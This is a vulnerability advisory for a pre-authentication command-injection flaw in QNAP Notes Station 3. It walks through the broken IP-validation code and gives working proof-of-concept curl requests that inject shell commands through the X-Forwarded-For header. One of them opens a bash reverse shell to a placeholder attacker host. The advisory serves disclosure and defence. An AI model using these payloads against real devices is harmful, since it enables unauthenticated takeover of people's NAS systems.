QNAP Notes Station 3: Pre-Auth Remote Code Execution

Summary

Any QNAP NAS with Notes Station 3 installed is vulnerable to pre-authenticated remote code execution. No credentials, cookies, or user interaction are required. The vulnerable endpoint is part of the two-factor / security-email flow, and the injection sink is a shell_exec() call whose IP-validation helper is structurally broken: it computes a sanitized value, then returns the raw input instead.

A separate advisory (qnap-nas-2) covers the post-RCE chain from www-data in the container to admin on the host.

Affected Product

FieldValue
DeviceQNAP TS-453E
FirmwareQTS 5.2.9.3410
PluginNotes Station 3, v3.9.10
VendorQNAP Systems, Inc.

CVSS v3.1: 9.8 (Critical) · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Root Cause

Entry Point

The vulnerable endpoint is /ns/api/v2/user/send_security_mail, part of Notes Station 3’s two-factor / security-email flow. It requires no session token, cookie, or prior authentication.

The controller method accepts user-supplied username and password, applies a weak regex to $username, and calls container_send_security_mail():

public function send_security_mail(Request $request) {
    $username = $request->input('username', null);
    $password = $request->input('password', null);

    $filterInput = preg_match("/[\*\+\?\.\$%`|;:<>\"']+$/", $username);
    if ($filterInput === 1) {
        return $this->api_return(null, 103, 401);
    }

    // ...

    $login_send_security_mail_ret = $this->container_send_security_mail($username, $password);

The regex uses an end-anchor (/[...]+$/) and only blocks special characters at the end of the string, trivially bypassed by appending any benign trailing character. The primary attack path does not depend on $username, but this is worth fixing.

Injection Point

In container_send_security_mail(), the attacker-controlled X-Forwarded-For header is interpolated directly into a shell command and passed to shell_exec():

protected function container_send_security_mail($username, $password) {
    $port    = Config::get('app.internal_port');
    $nas_ip  = Config::get('app.nas_ip');
    $loginURL = "http://$nas_ip:$port/cgi-bin/authLogin.cgi"
              . "?user=".rawurlencode($username)
              . "&serviceKey=1&pwd=".rawurlencode(base64_encode($password))
              . "&send_mail=1&force_to_check_2sv=1";

    $cmd = '/usr/bin/curl -s -L -k -H \'X-Forwarded-For:'
         . $this->getClientIP()
         . '\''
         . ' --url '.escapeshellarg($loginURL);

    $login_result = shell_exec($cmd);   // attacker input executes here
}

escapeshellarg() is applied to $loginURL but not to the X-Forwarded-For value.

Why Validation Fails

getClientIP() reads HTTP_X_FORWARDED_FOR, validates it with filter_var, and is supposed to return either the sanitized address or the safe literal '0.0.0.0'. The final return statement is wrong:

public function getClientIP()
{
    // ... read $realip from HTTP_X_FORWARDED_FOR ...

    $verify_ip = filter_var($realip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
    if ($verify_ip) {
        return $verify_ip;
    }
    $verify_ip = filter_var($realip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
    if ($verify_ip) {
        return $verify_ip;
    }

    $verify_ip = '0.0.0.0';
    return $realip;   // BUG: returns unchecked $realip, not $verify_ip
}

The fallback value is computed and then discarded. When both IPv4 and IPv6 validation fail, the function returns the raw attacker-controlled string, which is then concatenated into the shell command.

Triggering Execution

A payload in the X-Forwarded-For header closes the quoted argument, runs an arbitrary command, and reopens a quote to keep curl syntactically valid:

X-Forwarded-For: 127.0.0.1'; <COMMAND>; echo '

The resulting $cmd:

/usr/bin/curl -s -L -k -H 'X-Forwarded-For: 127.0.0.1'; <COMMAND>; echo '' --url '...'

Proof of Concept

Verify command execution (blind write)

NAS_IP=192.168.X.X

curl --path-as-is -i -s -k \
  -X POST \
  -H "Host: ${NAS_IP}:8080" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "X-Forwarded-For: 127.0.0.1'; whoami > /tmp/rl_poc.txt; echo '" \
  -H "Accept: application/json, text/plain, */*" \
  -H "Referer: http://${NAS_IP}:8080/ns/" \
  -d "username=aaa&password=bbbb" \
  "http://${NAS_IP}:8080/ns/api/v2/user/send_security_mail"

Confirm from the host:

[admin@NAS ~]$ system-docker ps
[admin@NAS ~]$ system-docker exec -it <CID> sh
/ # cat /tmp/rl_poc.txt
www-data

Reverse shell

# attacker
nc -lvnp 4444
LHOST=<ATTACKER_IP>
LPORT=4444

curl --path-as-is -i -s -k \
  -X POST \
  -H "Host: ${NAS_IP}:8080" \
  -H "X-Forwarded-For: 127.0.0.1'; bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1' & echo '" \
  -d "username=aaa&password=bbbb" \
  "http://${NAS_IP}:8080/ns/api/v2/user/send_security_mail"

Expected on the listener:

connect to [<ATTACKER_IP>] from (UNKNOWN) [<NAS_IP>] XXXXX
www-data@<container>:/var/www/NotesStation3/public$

Remediation

Disclosure Timeline

CVE: CVE-2026-34007